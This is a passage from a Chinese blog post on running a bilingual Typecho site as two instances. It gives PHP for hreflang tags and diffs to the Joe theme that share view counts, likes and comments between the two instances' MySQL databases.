判断是否有英文前缀 "/en/" if (strpos($current_url, '/en/') === 0) { $current_url = substr_replace($current_url, '', 0, 3); } $new_url_cn = 'https://' . $host . $current_url; $new_url_en = 'https://' . $host . '/en' . $current_url; // 生成两个超链接 echo '<link rel="alternate" hreflang="zh-cn" href="'.$new_url_cn.'" />'; echo '<link rel="alternate" hreflang="en-us" href="'.$new_url_en.'" />'; echo '<link rel="alternate" hreflang="x-default" href="'.$new_url_cn.'" />'; ?> 同时需要在中文和英文站点都添加一遍。 之后,访问我们的网站,应该就能在<head>中找到相应的hreflang配置。 同步点赞量和浏览量 这一步和主题关联性比较大,可能并不适用于所有主题。我用的Joe主题,由主题本身连接数据库并读取写入点赞量、浏览量。我直接通过修改英文实例的主题代码,使其直接读写中文实例的点赞量和浏览量即可。 修改<webroot>/en/usr/themes/Joe/core/function.php中获取浏览量的函数: /* 查询文章浏览量 */ function _getViews($item, $type = true) { - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $result = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $item->cid))['views']; if ($type) echo number_format($result); else return number_format($result); } 修改<webroot>/en/usr/themes/Joe/core/function.php中获取点赞量的函数: /* 查询文章点赞量 */ function _getAgree($item, $type = true) { - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $result = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $item->cid))['agree']; if ($type) echo number_format($result); else return number_format($result); } 修改<webroot>/en/usr/themes/Joe/core/route.php中主页显示浏览量部分的代码: $result[] = array( "mode" => $item->fields->mode ? $item->fields->mode : 'default', "image" => _getThumbnails($item), "time" => date('Y-m-d', $item->created), "created" => date('d/m/Y', $item->created), "title" => $item->title, "abstract" => _getAbstract($item, false), "category" => $item->categories, - "views" => number_format($item->views), + // "views" => number_format($item->views), + "views" => _getViews($item, false), "commentsNum" => number_format($item->commentsNum), - "agree" => number_format($item->agree), + // "agree" => number_format($item->agree), + "agree" => _getAgree($item, false), "permalink" => $item->permalink, "lazyload" => _getLazyload(false), "type" => "normal" ); 文章页面中显示浏览量部分的代码本身就是调用的_getViews,因此不需要修改。 修改增加浏览量部分的代码: /* 增加浏览量 已测试 √ */ function _handleViews($self) { $self->response->setStatus(200); $cid = $self->request->cid; /* sql注入校验 */ if (!preg_match('/^\d+$/', $cid)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $row = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $cid)); if (sizeof($row) > 0) { 修改点赞和取消点赞部分代码: /* 点赞和取消点赞 已测试 √ */ function _handleAgree($self) { $self->response->setStatus(200); $cid = $self->request->cid; $type = $self->request->type; /* sql注入校验 */ if (!preg_match('/^\d+$/', $cid)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } /* sql注入校验 */ if (!preg_match('/^[agree|disagree]+$/', $type)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $row = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $cid)); if (sizeof($row) > 0) { 完成上述修改后保存,接着访问英文站可发现和中文站的浏览量同步了。 同步评论 本来想弄个插件,hook一下发布评论的函数,在发布的时候同时在另一个实例的数据库中同步插入评论信息,但是发现我的Joe主体已经hook了,我再hook会冲突,因此直接编辑Joe主题的代码: 编辑<webroot>/index/usr/themes/Joe/core/factory.php: <?php require_once("phpmailer.php"); require_once("smtp.php"); /* 加强评论拦截功能 */ Typecho_Plugin::factory('Widget_Feedback')->comment = array('Intercept', 'message'); class Intercept { public static function message($comment) { ... Typecho_Cookie::delete('__typecho_remember_text'); + + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho_en', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho_en' + ], Typecho_Db::READ | Typecho_Db::WRITE); + + $row = [ + 'coid' => $comment['coid'], // 必须包含新生成的评论ID + 'cid' => $comment['cid'], + 'created' => $comment['created'], + 'author' => $comment['author'], + 'authorId' => $comment['authorId'], + 'ownerId' => $comment['ownerId'], + 'mail' => $comment['mail'], + 'url' => $comment['url'], + 'ip' => $comment['ip'], + 'agent' => $comment['agent'], + 'text' => $comment['text'], + 'type' => $comment['type'], + 'status' => $comment['status'], + 'parent' => $comment['parent'] + ]; + + // 插入数据到目标数据库的 `comments` 表 + $db->query($db->insert('typecho_comments')->rows($row)); return $comment; } } ... 同理也在英文实例如此操作一番,插入到中文的数据库中 这个方案存在的一个问题就是如果有垃圾评论需要删除,需要分别去两个实例各删除一次,后面再修吧(x 参考文章: typecho/languages - GitHub
2025年11月19日
107 阅读
0 评论
0 点赞
1
2
...
6